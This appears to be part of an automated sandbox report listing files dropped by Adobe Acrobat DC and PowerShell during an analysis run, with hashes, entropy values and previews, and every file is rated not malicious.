SHA-256:	CC827B80B1F1EE98E8F208623415FF3DBB4D68C3866E4680FF34491DBA8F3186
SHA-512:	A5F0CA259C033822250D6794C68680E5C287028E4D938184D26A11897A80A7B2B21E3BBE1AEF525143CB40D7450CB9EDE98A2E6BF8B456F8C5728321D775AEFB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6cebe678-edb6-48f3-b71e-3acd009ee8fe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757031136,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.279131558942142
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXzonAr7OApHWKHVoZcg1vRcR0Y8eoAvJf21rPeUkwRe9:YvXKXBXUGvpt2Zc0vLG+16Ukee9
MD5:	07F8D2BAEB9FC470B55F92C5D30AD6DD
SHA1:	32AC264EF8D257968169BFA1BEF79621D950C0F3
SHA-256:	0EE34C360D889E4EBD16CA4C0451F821FECEC90A185C3CB6F7582869A6513198
SHA-512:	6649E2CE563BCBBDD59B3B447368748A2809570F6A6365269CC273410D8F1393242F86FC5C8F22D1161EB50BCA2F1F22B0683F2A604974F19FE33FFDC2F0C3E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6cebe678-edb6-48f3-b71e-3acd009ee8fe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757031136,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.657588321044313
Encrypted:	false
SSDEEP:	24:Yv6XBXhvpt2zvkamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSo:YvEX9pMaBgkDMUJUAh8cvMo
MD5:	DB227D7AA97DDD43168376C12308BAF1
SHA1:	1A9FCAC53E4CB16CC3D25379FD3DFE84CA520625
SHA-256:	948413CB9E897241ADF1EA485EAD3261B00C8BF0791988CC28FC64A73BD2800D
SHA-512:	E26441E904D938D203755CBA9133BCF9E16C08C02E7984A94FEA6C0B3CD2557472423D8B73FC5147071D8377032EFBDA6319AB8B262EB5B12A6CE8BA3ED917C7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6cebe678-edb6-48f3-b71e-3acd009ee8fe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757031136,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2563246807918995
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXzonAr7OApHWKHVoZcg1vRcR0Y8eoAvJfshHHrPeUkwRe9:YvXKXBXUGvpt2Zc0vLGUUUkee9
MD5:	360BA8947B4B40647940312B422248FB
SHA1:	08509382638E722F523BA98DD30DACAB3C00FCAF
SHA-256:	1CC2A45497AEE38771C7BF55CB7B31707E96F03EDE134ECFFCC1917776AC6E82
SHA-512:	EB8C96663E512AFBBEA95F252EDCCDD3C32E7CC2E655909F98F1AED3442299476AD03FDCC1F826285E77EE2F5CDE5B9B10713C07822C98764E9176684E6EE17B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6cebe678-edb6-48f3-b71e-3acd009ee8fe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757031136,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.275813792247066
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBXzonAr7OApHWKHVoZcg1vRcR0Y8eoAvJTqgFCrPeUkwRe9:YvXKXBXUGvpt2Zc0vLGTq16Ukee9
MD5:	D6DF3EE83B03B93A3B1CADF0DFEE2307
SHA1:	F1C36A14C15A10F1DE575D9541AB2F24A9FBDA36
SHA-256:	52C47A196573F5C2BC958B78CB70946AE00AD64B83A69836A87865A7AE5534D0
SHA-512:	52F3DD40159C7F609BE30817735671737784A804CC64EE811CEBB249BBD67EBF0245EE0447C1C52D90C810B171EAF9D1C102EA18FC5C666432E311676F487CD2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6cebe678-edb6-48f3-b71e-3acd009ee8fe","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757031136,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.131855028047805
Encrypted:	false
SSDEEP:	24:YR2FkZsJwgaAHayLhoD7DbVDZvek6H9kcaXHtjuj0SdVgq4w2JZ2LSdPCNVtcn1a:YR23PoDjZZk4Q9KT2VtE8MJOXb9mp0
MD5:	DC05566CE846051C4302BAE231A5B190
SHA1:	8A28420026EAA5AB5D77CF8E683933869CABFE72
SHA-256:	2AAF7B52FBDD3D140AB4B00892C0831AD95B397F96C80B2DBC41B1C4C36107E7
SHA-512:	724B193B8D30ADC29C242C02DC27A43E8F27DD8B9900BC77F7CBE626C98C9A4EE0CA092F3528CA136678457878C3BB0AD1878B29FACFF3267320AF9B2C2F382C
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"5763996fb12ab5e3b1a30aa66a12a358","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736581665000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"61545d52bf9a7cce9f4482d5cc2d2ec5","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736581665000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"e3ccbf60190ed83b680db55170aa5501","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736581665000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"6513e837068c55fbbd669df881005d21","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736581665000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"aaf534e03fcad91d1619ff5c6aaedf78","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736581665000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"8c65d17205b8dc1e98f87a7e47149304","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.187199721351773
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUGQsSvR9H9vxFGiDIAEkGVvpyQS:lNVmswUUUUUUUUHs+FGSItHS
MD5:	D9CACDB18AA76D9F00FB45A66EAC0F6F
SHA1:	92CC8511E3F4C12DA13C6AC832275D17339C8C33
SHA-256:	125E7FC9F0B7E3A785B1BAAAF906E11EBA0530D2BFABCD1AF92540C3BB804BBC
SHA-512:	8530077CC71E66B72E1781FA8CC59D6C3E6D39801A5BF8BF357C40C1A13E56CA8371D702BBB1BD98EC9D86FEF14E8EB2DB1A296CF0487CDFF489133825A47251
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.607108674101428
Encrypted:	false
SSDEEP:	48:7MpKUUUUUUUUUUGQ+vR9H9vxFGiDIAEkGVvFqFl2GL7msMn:7nUUUUUUUUUUHCFGSItXKVmsM
MD5:	66D9CEBCBBF4F47E57F6A8C90C41A225
SHA1:	65A8D7B6EE8D617FA1E58D02514F6A57B1FC9A01
SHA-256:	0B75CD4ADA0FBAD520D42DB733F3F4C9889019F5C345A7E4142F031F696A71A5
SHA-512:	9007BBE285FFE70A476E24FA619A54767F5FF47BD35F208184602151F93A2989E530F3717CA4A2E1CB2F9E21F68E5C87B88987D28FE563B37188A86264FD0341
Malicious:	false
Preview:	.... .c.....v........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgZ9j7wCxIOZA3WTO/yOps3jKQTxPYyu:6a6TZ44ADEZ9fwCxIOeGTNTFK
MD5:	F51C2133B270F4B74EB54FD0E23BB881
SHA1:	FBF5E05EB5FBA11233DA5BC1624FAACE44C23319
SHA-256:	D8D7606EAB496439C89F12764CF5A7DD9C1ED34774CADB28AEAB017B2CC5F55A
SHA-512:	990A825CBF1A43C2FD09DE4ACF32645E48AE07D17DF1C2777249AC337B1D2B0EFC85E8EF8565737A212CA047236E015D564FC918E4F4FF0098BBCB9A6A2A0BAD
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSId6772.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.505069684106714
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClXH:Qw946cPbiOxDlbYnuRKdG
MD5:	DA3587D02CD254B9D3C0B7133BB2C855
SHA1:	13EF5ACC4CEE06114E18DAC8420F2AB43DAA6AAB
SHA-256:	92212A6868DC38831B98F4EB35E87CFF492688899A4719046050813E6F08F38B
SHA-512:	EA603D10FE26114244B27F1C44971AE64EA0E63C9D64FF9D7942CFE764D25A8ADA6CCDA24C4419670D9D5674455EC4FB20B718F41C4F44377218BFCDBE59A8AD
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.4.7.:.4.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kovrx4by.snb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ykejlr30.vj5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-47-41-544.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.357021005702977
Encrypted:	false
SSDEEP:	384:7VhkhRhA3NGIXmntvyHJWrZC33s8YS6OdpVrNfbtqwWL1bSdgg7JZK5KjuSMIkTr:hkj
MD5:	2BB7C91ADF6EA997336FEFA7334F1C8B
SHA1:	C852CE6393DD5191D816231EB0B4BB6999F4C459
SHA-256:	825E0647711A7C6422234CB802F24511EEC76B3E6B1153B7C83E24F2E2368672
SHA-512:	3FF89BE006829AD9A3A400E92B2F454EAF24F74BCDDEE542DF64E4967D505DA61B4F3D3C72824970C4ADB5E48FE20CF41954EF2EF1CDA43ED69B6694C156A75B
Malicious:	false
Preview:	SessionID=95547e71-0bc4-4675-b949-49cea6f8fe88.1736581661574 Timestamp=2025-01-11T02:47:41:574-0500 ThreadID=7792 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=95547e71-0bc4-4675-b949-49cea6f8fe88.1736581661574 Timestamp=2025-01-11T02:47:41:578-0500 ThreadID=7792 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=95547e71-0bc4-4675-b949-49cea6f8fe88.1736581661574 Timestamp=2025-01-11T02:47:41:578-0500 ThreadID=7792 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=95547e71-0bc4-4675-b949-49cea6f8fe88.1736581661574 Timestamp=2025-01-11T02:47:41:578-0500 ThreadID=7792 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=95547e71-0bc4-4675-b949-49cea6f8fe88.1736581661574 Timestamp=2025-01-11T02:47:41:578-0500 ThreadID=7792 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.386680177045912
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rV:p
MD5:	A8F5FB576276D01BBAF4E494B4556A8E
SHA1:	7995374C6CB7062BD3F98EC3CA749C7BAA95EAA5
SHA-256:	B4C0CC64FC0EF346C2B33F71C074E532A18E2FEFBD8B58F00E994A29EC393A40
SHA-512:	758E8E1DC580E79673918F659E5D847F2852F069973DFEA901767F923B82620DBADC3B5FC67A2295F61DED541B29179AD978539994BDCAEC052C9CC57E6927FC
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\01aae5a0-ab58-4645-950a-f46dc45c71e9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\52d32b59-0d1b-45f0-bd13-82566056eba7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8c46ddd4-191f-4f00-a59a-c258a6f473e8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
